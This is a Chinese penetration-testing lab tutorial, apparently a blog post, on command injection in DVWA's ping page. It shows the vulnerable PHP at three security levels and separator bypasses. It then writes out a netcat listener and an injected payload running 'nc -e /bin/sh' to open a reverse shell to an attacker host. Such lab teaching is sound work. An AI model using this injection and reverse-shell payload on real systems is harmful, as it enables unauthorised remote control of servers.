【渗透测试笔记】五、代码执行漏洞
程序员文章站
2022-05-27 15:46:14
...
We are all in the gutter, but some of us are looking at the stars.
身在井隅,心向璀璨。
本文仅供学习交流,正确使用渗透测试,遵守相关法律法规,请勿用于非法用途。
实验环境
本实验基于以下环境:
确保所有虚拟机处于同一个NAT Network下
- 启动Metasploitable,利用 ifconfig 获取本机IP
- 启动Kali,进行渗透测试,浏览器输入Metasploitable中查询到的IP,访问漏洞页面
关于漏洞
Command Execution 漏洞产生原因以及危害
- 允许attacker执行os commands
- 可以获取reverse shell
- attacker可以使用 wget 命令上传任何文件,后门,病毒等
漏洞挖掘
同样以DVWA为例,默认登录账号admin/password
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境。
可以看到,该页面提供Ping功能
安全级别:Low
安全级别为Low时的源码:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
未对用户输入做任何过滤处理,直接尝试输入其他命令,用“ ; ”或者" && "分隔,成功执行。
安全级别:Medium
源码:
<?php
if( isset( $_POST[ 'submit'] ) ) {
$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
相对于Low来说,增加了字符过滤,直接按照Low中的方法无法执行命令,可以尝试使用Linux中的管道符技术 " | ",代码成功执行。
安全级别:High
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST["ip"];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode(".", $target);
// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
else {
echo '<pre>ERROR: You have entered an invalid IP</pre>';
}
}
?>
在安全级别为High时,将用户输入内容按"."分隔成四部分,确认是否为数字(有效IP地址),未发现可利用漏洞。
漏洞利用
以安全级别为Low举例
获取reverse shell
可以利用netcat反向连接到attacker的主机
在attacker主机启动监听端口(这里监听8888)
nc -lvp 8888
利用漏洞,IP填写attacker的主机,实现反向shell
127.0.0.1 ; nc -e /bin/sh attacker的IP(自行修改) 8888
在Kali上发现之前正在监听的端口已经收到来自目标的连接,可以执行相应的命令,举例:ls 查看当前目录文件, pwd查看当前位置等。
netcat 参数说明:
漏洞预防
对用户输入进行过滤,如使用正则表达式,白名单,黑名单等。